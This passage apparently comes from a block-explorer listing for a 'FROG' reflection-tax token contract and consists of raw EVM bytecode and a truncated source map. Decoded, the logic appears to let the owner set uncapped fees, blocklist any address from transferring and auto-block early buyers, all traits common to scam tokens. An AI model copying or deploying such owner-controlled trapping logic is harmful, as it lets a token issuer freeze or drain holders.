506001600160a01b0384165f9081526005602052604090205460ff16155b15610fa4576008545f03610fa45760405162461bcd60e51b81526020600482015260116024820152702a3930b739b332b9103737ba1037b832b760791b60448201526064016105ef565b6014546001600160a01b038581169116148015610fcf57506013546001600160a01b03848116911614155b1561109e57600854600754610fe49190611b27565b431015611024576014546001600160a01b0390811690851603611024576001600160a01b0383165f908152600660205260409020805460ff191660011790555b600b54600f55600c546010555f805b600181121561108e576040805160208101839052908101859052426060820152608001604051602081830303815290604052805190602001205f1c915061107c86836064611418565b8061108681611b3a565b915050611033565b5061109a606484611b51565b9250505b6014546001600160a01b0384811691161480156110c957506013546001600160a01b03858116911614155b156110db57600d54600f55600e546010555b6001600160a01b0384165f9081526005602052604090205460ff168061111857506001600160a01b0383165f9081526005602052604090205460ff165b8061114a57506014546001600160a01b0385811691161480159061114a57506014546001600160a01b03848116911614155b15611159575f600f8190556010555b505b611166838383611509565b505050565b5f818484111561118e5760405162461bcd60e51b81526004016105ef9190611863565b505f61119a8486611b51565b95945050505050565b6011546001600160a01b03166108fc6111bd836002611514565b6040518115909202915f818181858888f193505050501580156111e2573d5f803e3d5ffd5b506012546001600160a01b03166108fc6111fd836002611514565b6040518115909202915f818181858888f19350505050158015611222573d5f803e3d5ffd5b5050565b5f60095482111561128c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b5f611295611555565b90506112a18382611514565b9392505050565b6014805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ee576112ee611acc565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611345573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113699190611b64565b8160018151811061137c5761137c611acc565b6001600160a01b0392831660209182029290920101526013546113a29130911684610baf565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113da9085905f90869030904290600401611b7f565b5f604051808303815f87803b1580156113f1575f80fd5b505af1158015611403573d5f803e3d5ffd5b50506014805460ff60a01b1916905550505050565b5f805f805f8061142787611576565b6001600160a01b038f165f90815260026020526040902054959b5093995091975095509350915061145890876115cb565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054611486908661160c565b6001600160a01b0389165f908152600260205260409020556114a78161166a565b6114b184836116b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114f691815260200190565b60405180910390a3505050505050505050565b611166838383611418565b5f6112a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d4565b5f805f611560611700565b909250905061156f8282611514565b9250505090565b5f805f805f805f805f61158e8a600f54601054611747565b9250925092505f61159d611555565b90505f805f6115ae8e878787611799565b919e509c509a509598509396509194505050505091939550919395565b5f6112a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116b565b5f806116188385611b27565b9050838110156112a15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b5f611673611555565b90505f61168083836117e5565b305f9081526002602052604090205490915061169c908261160c565b305f90815260026020526040902055505050565b6009546116bd90836115cb565b600955600a546116cd908261160c565b600a555050565b5f81836116f45760405162461bcd60e51b81526004016105ef9190611863565b505f61119a8486611bee565b6009545f9081906b015b6a759f4835dc2400000061171e8282611514565b82101561173e575050600954926b015b6a759f4835dc2400000092509050565b90939092509050565b5f808080611760606461175a89896117e5565b90611514565b90505f611772606461175a8a896117e5565b90505f611789826117838b866115cb565b906115cb565b9992985090965090945050505050565b5f8080806117a788866117e5565b90505f6117b488876117e5565b90505f6117c188886117e5565b90505f6117d28261178386866115cb565b939b939a50919850919650505050505050565b5f825f036117f457505f610559565b5f6117ff8385611c0d565b90508261180c8583611bee565b146112a15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b5f6020808352835180828501525f5b8181101561188e57858101830151858201604001528201611872565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106ae575f80fd5b5f80604083850312156118d3575f80fd5b82356118de816118ae565b946020939093013593505050565b5f805f606084860312156118fe575f80fd5b8335611909816118ae565b92506020840135611919816118ae565b929592945050506040919091013590565b5f805f806080858703121561193d575f80fd5b5050823594602084013594506040840135936060013592509050565b5f60208284031215611969575f80fd5b81356112a1816118ae565b80151581146106ae575f80fd5b5f60208284031215611991575f80fd5b81356112a181611974565b5f602082840312156119ac575f80fd5b5035919050565b5f805f604084860312156119c5575f80fd5b833567ffffffffffffffff808211156119dc575f80fd5b818601915086601f8301126119ef575f80fd5b8135818111156119fd575f80fd5b8760208260051b8501011115611a11575f80fd5b60209283019550935050840135611a2781611974565b809150509250925092565b5f8060408385031215611a43575f80fd5b8235611a4e816118ae565b91506020830135611a5e81611974565b809150509250929050565b5f8060408385031215611a7a575f80fd5b8235611a85816118ae565b91506020830135611a5e816118ae565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611b0557611b05611ae0565b5060010190565b5f60208284031215611b1c575f80fd5b81516112a181611974565b8082018082111561055957610559611ae0565b5f6001600160ff1b018201611b0557611b05611ae0565b8181038181111561055957610559611ae0565b5f60208284031215611b74575f80fd5b81516112a1816118ae565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611bcd5784516001600160a01b031683529383019391830191600101611ba8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c0857634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761055957610559611ae056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220885a8ccde4023050b905aeb3208086dafc91c5e2f8b36b80ae2fa40480ad4eee64736f6c63430008150033
Deployed Bytecode
0x6080604052600436106101b2575f3560e01c8063820a6392116100e7578063c3c8cd8011610087578063d592ca5e11610062578063d592ca5e146104a8578063dd62ed3e146104c7578063e293d3161461050b578063f2fde38b1461052a575f80fd5b8063c3c8cd8014610460578063c492f04614610474578063d47b8ff714610493575f80fd5b806395d89b41116100c257806395d89b41146101bd57806399fba6031461040d578063a9059cbb14610422578063aad5c02314610441575f80fd5b8063820a6392146103b35780638da5cb5b146103d25780638f367cf0146103ee575f80fd5b8063313ce567116101525780636fc3eaec1161012d5780636fc3eaec1461034d57806370a0823114610361578063715018a614610380578063758dbe0314610394575f80fd5b8063313ce567146102f457806349bd5a5e1461030f5780636d8aa8f81461032e575f80fd5b806318160ddd1161018d57806318160ddd1461025e57806323b872dd14610286578063247d9bb9146102a55780632a6ed03c146102c6575f80fd5b806306fdde03146101bd578063095ea7b3146101f85780631694505e14610227575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b50604080518082018252600481526346524f4760e01b602082015290516101ef9190611863565b60405180910390f35b348015610203575f80fd5b506102176102123660046118c2565b610549565b60405190151581526020016101ef565b348015610232575f80fd5b50601354610246906001600160a01b031681565b6040516001600160a01b0390911681526020016101ef565b348015610269575f80fd5b506b015b6a759f4835dc240000005b6040519081526020016101ef565b348015610291575f80fd5b506102176102a03660046118ec565b61055f565b3480156102b0575f80fd5b506102c46102bf36600461192a565b6105c6565b005b3480156102d1575f80fd5b506102176102e0366004611959565b60066020525f908152604090205460ff1681565b3480156102ff575f80fd5b50604051600981526020016101ef565b34801561031a575f80fd5b50601454610246906001600160a01b031681565b348015610339575f80fd5b506102c4610348366004611981565b61060c565b348015610358575f80fd5b506102c4610653565b34801561036c575f80fd5b5061027861037b366004611959565b6106b1565b34801561038b575f80fd5b506102c46106d2565b34801561039f575f80fd5b506102c46103ae366004611959565b610743565b3480156103be575f80fd5b506102c46103cd36600461199c565b6107de565b3480156103dd575f80fd5b505f546001600160a01b0316610246565b3480156103f9575f80fd5b506102c461040836600461199c565b61080c565b348015610418575f80fd5b5061027860085481565b34801561042d575f80fd5b5061021761043c3660046118c2565b61084a565b34801561044c575f80fd5b506102c461045b366004611959565b610856565b34801561046b575f80fd5b506102c46108f1565b34801561047f575f80fd5b506102c461048e3660046119b3565b610957565b34801561049e575f80fd5b5061027860075481565b3480156104b3575f80fd5b506102c46104c2366004611a32565b6109f4565b3480156104d2575f80fd5b506102786104e1366004611a69565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610516575f80fd5b506102c46105253660046118ec565b610a47565b348015610535575f80fd5b506102c4610544366004611959565b610b2d565b5f610555338484610baf565b5060015b92915050565b5f61056b848484610cd2565b6105bc84336105b785604051806060016040528060288152602001611c25602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061116b565b610baf565b5060019392505050565b5f546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611a95565b60405180910390fd5b600b93909355600d91909155600c55600e55565b5f546001600160a01b031633146106355760405162461bcd60e51b81526004016105ef90611a95565b60148054911515600160a81b0260ff60a81b19909216919091179055565b6011546001600160a01b0316336001600160a01b0316148061068857506012546001600160a01b0316336001600160a01b0316145b8061069c57505f546001600160a01b031633145b6106a4575f80fd5b476106ae816111a3565b50565b6001600160a01b0381165f9081526002602052604081205461055990611226565b5f546001600160a01b031633146106fb5760405162461bcd60e51b81526004016105ef90611a95565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461076c5760405162461bcd60e51b81526004016105ef90611a95565b6012546040516001600160a01b038084169216907fa64373a629bc0c09eacf8a9cc2c7b070fa0a8b7e2e9b8aaee408a3c02eb1676b905f90a3601280546001600160a01b039092166001600160a01b0319909216821790555f908152600560205260409020805460ff19166001179055565b5f546001600160a01b031633146108075760405162461bcd60e51b81526004016105ef90611a95565b600755565b5f546001600160a01b031633146108355760405162461bcd60e51b81526004016105ef90611a95565b600881905560018190036106ae574360085550565b5f610555338484610cd2565b5f546001600160a01b0316331461087f5760405162461bcd60e51b81526004016105ef90611a95565b6011546040516001600160a01b038084169216907ffbbc329437e8c79f847e170730ad6dd04106b7511cad70d06d635886d92de83c905f90a3601180546001600160a01b039092166001600160a01b0319909216821790555f908152600560205260409020805460ff19166001179055565b6011546001600160a01b0316336001600160a01b0316148061092657506012546001600160a01b0316336001600160a01b0316145b8061093a57505f546001600160a01b031633145b610942575f80fd5b5f61094c306106b1565b90506106ae816112a8565b5f546001600160a01b031633146109805760405162461bcd60e51b81526004016105ef90611a95565b5f5b828110156109ee578160055f8686858181106109a0576109a0611acc565b90506020020160208101906109b59190611959565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806109e681611af4565b915050610982565b50505050565b5f546001600160a01b03163314610a1d5760405162461bcd60e51b81526004016105ef90611a95565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610a705760405162461bcd60e51b81526004016105ef90611a95565b816001600160a01b0316836001600160a01b03167f47c33aa230eb5fd181505aa7befeaddd9b8a6f983989cea73a7868448c3a9ed983604051610ab591815260200190565b60405180910390a360405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303815f875af1158015610b09573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ee9190611b0c565b5f546001600160a01b03163314610b565760405162461bcd60e51b81526004016105ef90611a95565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b5f8111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6001600160a01b0383165f9081526006602052604090205460ff1615610e585760405162461bcd60e51b8152602060048201526014602482015273151c985b9cd9995c881b9bdd08185b1b1bddd95960621b60448201526064016105ef565b5f600f819055601055610e725f546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610ea057505f546001600160a01b03838116911614155b1561115b575f610eaf306106b1565b601454909150600160a01b900460ff16158015610eda57506014546001600160a01b03858116911614155b8015610eef5750601454600160a81b900460ff165b8015610efa57505f81115b15610f1a57610f08816112a8565b478015610f1857610f18476111a3565b505b6001600160a01b0383165f9081526005602052604090205460ff16158015610f5a57506001600160a01b0384165f9081526005602052604090205460ff16155b15610fa4576008545f03610fa45760405162461bcd60e51b81526020600482015260116024820152702a3930b739b332b9103737ba1037b832b760791b60448201526064016105ef565b6014546001600160a01b038581169116148015610fcf57506013546001600160a01b03848116911614155b1561109e57600854600754610fe49190611b27565b431015611024576014546001600160a01b0390811690851603611024576001600160a01b0383165f908152600660205260409020805460ff191660011790555b600b54600f55600c546010555f805b600181121561108e576040805160208101839052908101859052426060820152608001604051602081830303815290604052805190602001205f1c915061107c86836064611418565b8061108681611b3a565b915050611033565b5061109a606484611b51565b9250505b6014546001600160a01b0384811691161480156110c957506013546001600160a01b03858116911614155b156110db57600d54600f55600e546010555b6001600160a01b0384165f9081526005602052604090205460ff168061111857506001600160a01b0383165f9081526005602052604090205460ff165b8061114a57506014546001600160a01b0385811691161480159061114a57506014546001600160a01b03848116911614155b15611159575f600f8190556010555b505b611166838383611509565b505050565b5f818484111561118e5760405162461bcd60e51b81526004016105ef9190611863565b505f61119a8486611b51565b95945050505050565b6011546001600160a01b03166108fc6111bd836002611514565b6040518115909202915f818181858888f193505050501580156111e2573d5f803e3d5ffd5b506012546001600160a01b03166108fc6111fd836002611514565b6040518115909202915f818181858888f19350505050158015611222573d5f803e3d5ffd5b5050565b5f60095482111561128c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b5f611295611555565b90506112a18382611514565b9392505050565b6014805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ee576112ee611acc565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611345573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113699190611b64565b8160018151811061137c5761137c611acc565b6001600160a01b0392831660209182029290920101526013546113a29130911684610baf565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113da9085905f90869030904290600401611b7f565b5f604051808303815f87803b1580156113f1575f80fd5b505af1158015611403573d5f803e3d5ffd5b50506014805460ff60a01b1916905550505050565b5f805f805f8061142787611576565b6001600160a01b038f165f90815260026020526040902054959b5093995091975095509350915061145890876115cb565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054611486908661160c565b6001600160a01b0389165f908152600260205260409020556114a78161166a565b6114b184836116b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114f691815260200190565b60405180910390a3505050505050505050565b611166838383611418565b5f6112a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d4565b5f805f611560611700565b909250905061156f8282611514565b9250505090565b5f805f805f805f805f61158e8a600f54601054611747565b9250925092505f61159d611555565b90505f805f6115ae8e878787611799565b919e509c509a509598509396509194505050505091939550919395565b5f6112a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116b565b5f806116188385611b27565b9050838110156112a15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b5f611673611555565b90505f61168083836117e5565b305f9081526002602052604090205490915061169c908261160c565b305f90815260026020526040902055505050565b6009546116bd90836115cb565b600955600a546116cd908261160c565b600a555050565b5f81836116f45760405162461bcd60e51b81526004016105ef9190611863565b505f61119a8486611bee565b6009545f9081906b015b6a759f4835dc2400000061171e8282611514565b82101561173e575050600954926b015b6a759f4835dc2400000092509050565b90939092509050565b5f808080611760606461175a89896117e5565b90611514565b90505f611772606461175a8a896117e5565b90505f611789826117838b866115cb565b906115cb565b9992985090965090945050505050565b5f8080806117a788866117e5565b90505f6117b488876117e5565b90505f6117c188886117e5565b90505f6117d28261178386866115cb565b939b939a50919850919650505050505050565b5f825f036117f457505f610559565b5f6117ff8385611c0d565b90508261180c8583611bee565b146112a15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b5f6020808352835180828501525f5b8181101561188e57858101830151858201604001528201611872565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106ae575f80fd5b5f80604083850312156118d3575f80fd5b82356118de816118ae565b946020939093013593505050565b5f805f606084860312156118fe575f80fd5b8335611909816118ae565b92506020840135611919816118ae565b929592945050506040919091013590565b5f805f806080858703121561193d575f80fd5b5050823594602084013594506040840135936060013592509050565b5f60208284031215611969575f80fd5b81356112a1816118ae565b80151581146106ae575f80fd5b5f60208284031215611991575f80fd5b81356112a181611974565b5f602082840312156119ac575f80fd5b5035919050565b5f805f604084860312156119c5575f80fd5b833567ffffffffffffffff808211156119dc575f80fd5b818601915086601f8301126119ef575f80fd5b8135818111156119fd575f80fd5b8760208260051b8501011115611a11575f80fd5b60209283019550935050840135611a2781611974565b809150509250925092565b5f8060408385031215611a43575f80fd5b8235611a4e816118ae565b91506020830135611a5e81611974565b809150509250929050565b5f8060408385031215611a7a575f80fd5b8235611a85816118ae565b91506020830135611a5e816118ae565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611b0557611b05611ae0565b5060010190565b5f60208284031215611b1c575f80fd5b81516112a181611974565b8082018082111561055957610559611ae0565b5f6001600160ff1b018201611b0557611b05611ae0565b8181038181111561055957610559611ae0565b5f60208284031215611b74575f80fd5b81516112a1816118ae565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611bcd5784516001600160a01b031683529383019391830191600101611ba8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c0857634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761055957610559611ae056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220885a8ccde4023050b905aeb3208086dafc91c5e2f8b36b80ae2fa40480ad4eee64736f6c63430008150033
Deployed Bytecode Sourcemap
3989:12276:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6184:83;;;;;;;;;;-1:-1:-1;6254:5:0;;;;;;;;;;;-1:-1:-1;;;6254:5:0;;;;6184:83;;;;6254:5;6184:83;:::i;:::-;;;;;;;;7036:161;;;;;;;;;;-1:-1:-1;7036:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7036:161:0;1023:187:1;5233:41:0;;;;;;;;;;-1:-1:-1;5233:41:0;;;;-1:-1:-1;;;;;5233:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5233:41:0;1215:229:1;6461:95:0;;;;;;;;;;-1:-1:-1;4517:27:0;6461:95;;;1595:25:1;;;1583:2;1568:18;6461:95:0;1449:177:1;7551:313:0;;;;;;;;;;-1:-1:-1;7551:313:0;;;;;:::i;:::-;;:::i;15614:293::-;;;;;;;;;;-1:-1:-1;15614:293:0;;;;;:::i;:::-;;:::i;:::-;;4316:39;;;;;;;;;;-1:-1:-1;4316:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6370:83;;;;;;;;;;-1:-1:-1;6370:83:0;;5011:1;2876:36:1;;2864:2;2849:18;6370:83:0;2734:184:1;5281:28:0;;;;;;;;;;-1:-1:-1;5281:28:0;;;;-1:-1:-1;;;;;5281:28:0;;;15919:101;;;;;;;;;;-1:-1:-1;15919:101:0;;;;;:::i;:::-;;:::i;15340:262::-;;;;;;;;;;;;;:::i;6564:138::-;;;;;;;;;;-1:-1:-1;6564:138:0;;;;;:::i;:::-;;:::i;3570:148::-;;;;;;;;;;;;;:::i;12219:239::-;;;;;;;;;;-1:-1:-1;12219:239:0;;;;;:::i;:::-;;:::i;7315:68::-;;;;;;;;;;-1:-1:-1;7315:68:0;;;;;:::i;:::-;;:::i;3365:79::-;;;;;;;;;;-1:-1:-1;3403:7:0;3430:6;-1:-1:-1;;;;;3430:6:0;3365:79;;7391:152;;;;;;;;;;-1:-1:-1;7391:152:0;;;;;:::i;:::-;;:::i;4390:30::-;;;;;;;;;;;;;;;;6710:167;;;;;;;;;;-1:-1:-1;6710:167:0;;;;;:::i;:::-;;:::i;11897:227::-;;;;;;;;;;-1:-1:-1;11897:227:0;;;;;:::i;:::-;;:::i;15069:263::-;;;;;;;;;;;;;:::i;16028:234::-;;;;;;;;;;-1:-1:-1;16028:234:0;;;;;:::i;:::-;;:::i;4362:21::-;;;;;;;;;;;;;;;;7205:102;;;;;;;;;;-1:-1:-1;7205:102:0;;;;;:::i;:::-;;:::i;6885:143::-;;;;;;;;;;-1:-1:-1;6885:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6993:18:0;;;6966:7;6993:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6885:143;11598:210;;;;;;;;;;-1:-1:-1;11598:210:0;;;;;:::i;:::-;;:::i;3820:160::-;;;;;;;;;;-1:-1:-1;3820:160:0;;;;;:::i;:::-;;:::i;7036:161::-;7111:4;7128:39;1926:10;7151:7;7160:6;7128:8;:39::i;:::-;-1:-1:-1;7185:4:0;7036:161;;;;;:::o;7551:313::-;7649:4;7666:36;7676:6;7684:9;7695:6;7666:9;:36::i;:::-;7713:121;7722:6;1926:10;7744:89;7782:6;7744:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7744:19:0;;;;;;:11;:19;;;;;;;;1926:10;7744:33;;;;;;;;;;:37;:89::i;:::-;7713:8;:121::i;:::-;-1:-1:-1;7852:4:0;7551:313;;;;;:::o;15614:293::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;;;;;;;;;15750:14:::1;:30:::0;;;;15791:15:::1;:32:::0;;;;15834:12:::1;:26:::0;15871:13:::1;:28:::0;15614:293::o;15919:101::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;15986:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;15986:26:0::1;-1:-1:-1::0;;;;15986:26:0;;::::1;::::0;;;::::1;::::0;;15919:101::o;15340:262::-;15406:19;;-1:-1:-1;;;;;15406:19:0;1926:10;-1:-1:-1;;;;;15390:35:0;;:72;;;-1:-1:-1;15445:17:0;;-1:-1:-1;;;;;15445:17:0;1926:10;-1:-1:-1;;;;;15429:33:0;;15390:72;:99;;;-1:-1:-1;3403:7:0;3430:6;-1:-1:-1;;;;;3430:6:0;1926:10;15466:23;15390:99;15382:108;;;;;;15530:21;15562:32;15530:21;15562:12;:32::i;:::-;15371:231;15340:262::o;6564:138::-;-1:-1:-1;;;;;6677:16:0;;6630:7;6677:16;;;:7;:16;;;;;;6657:37;;:19;:37::i;3570:148::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;3677:1:::1;3661:6:::0;;3640:40:::1;::::0;-1:-1:-1;;;;;3661:6:0;;::::1;::::0;3640:40:::1;::::0;3677:1;;3640:40:::1;3708:1;3691:19:::0;;-1:-1:-1;;;;;;3691:19:0::1;::::0;;3570:148::o;12219:239::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;12333:17:::1;::::0;12309:49:::1;::::0;-1:-1:-1;;;;;12309:49:0;;::::1;::::0;12333:17:::1;::::0;12309:49:::1;::::0;12333:17:::1;::::0;12309:49:::1;12370:17;:25:::0;;-1:-1:-1;;;;;12370:25:0;;::::1;-1:-1:-1::0;;;;;;12370:25:0;;::::1;::::0;::::1;::::0;;:17:::1;12406:37:::0;;;:18:::1;:37;::::0;;;;:44;;-1:-1:-1;;12406:44:0::1;12370:25:::0;12406:44:::1;::::0;;12219:239::o;7315:68::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;7369:2:::1;:6:::0;7315:68::o;7391:152::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;7446:11:::1;:15:::0;;;7480:1:::1;7475:6:::0;;;7472:64:::1;;7512:12;7498:11;:26:::0;7391:152;:::o;6710:167::-;6788:4;6805:42;1926:10;6829:9;6840:6;6805:9;:42::i;11897:227::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;11997:19:::1;::::0;11979:43:::1;::::0;-1:-1:-1;;;;;11979:43:0;;::::1;::::0;11997:19:::1;::::0;11979:43:::1;::::0;11997:19:::1;::::0;11979:43:::1;12034:19;:25:::0;;-1:-1:-1;;;;;12034:25:0;;::::1;-1:-1:-1::0;;;;;;12034:25:0;;::::1;::::0;::::1;::::0;;:19:::1;12070:39:::0;;;:18:::1;:39;::::0;;;;:46;;-1:-1:-1;;12070:46:0::1;12034:25:::0;12070:46:::1;::::0;;11897:227::o;15069:263::-;15135:19;;-1:-1:-1;;;;;15135:19:0;1926:10;-1:-1:-1;;;;;15119:35:0;;:72;;;-1:-1:-1;15174:17:0;;-1:-1:-1;;;;;15174:17:0;1926:10;-1:-1:-1;;;;;15158:33:0;;15119:72;:99;;;-1:-1:-1;3403:7:0;3430:6;-1:-1:-1;;;;;3430:6:0;1926:10;15195:23;15119:99;15111:108;;;;;;15230:23;15256:24;15274:4;15256:9;:24::i;:::-;15230:50;;15291:33;15308:15;15291:16;:33::i;16028:234::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;16145:9:::1;16141:114;16160:19:::0;;::::1;16141:114;;;16235:8;16201:18;:31;16220:8;;16229:1;16220:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16201:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;16201:31:0;:42;;-1:-1:-1;;16201:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16181:3;::::1;::::0;::::1;:::i;:::-;;;;16141:114;;;;16028:234:::0;;;:::o;7205:102::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7278:12:0;;;::::1;;::::0;;;:6:::1;:12;::::0;;;;:21;;-1:-1:-1;;7278:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7205:102::o;11598:210::-;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;11735:3:::1;-1:-1:-1::0;;;;;11709:39:0::1;11723:10;-1:-1:-1::0;;;;;11709:39:0::1;;11740:7;11709:39;;;;1595:25:1::0;;1583:2;1568:18;;1449:177;11709:39:0::1;;;;;;;;11760:40;::::0;-1:-1:-1;;;11760:40:0;;-1:-1:-1;;;;;6428:32:1;;;11760:40:0::1;::::0;::::1;6410:51:1::0;6477:18;;;6470:34;;;11760:26:0;::::1;::::0;::::1;::::0;6383:18:1;;11760:40:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3820:160::-:0;3492:6;;-1:-1:-1;;;;;3492:6:0;1926:10;3492:22;3484:58;;;;-1:-1:-1;;;3484:58:0;;;;;;;:::i;:::-;3927:6:::1;::::0;;3906:38:::1;::::0;-1:-1:-1;;;;;3906:38:0;;::::1;::::0;3927:6;::::1;::::0;3906:38:::1;::::0;::::1;3955:6;:17:::0;;-1:-1:-1;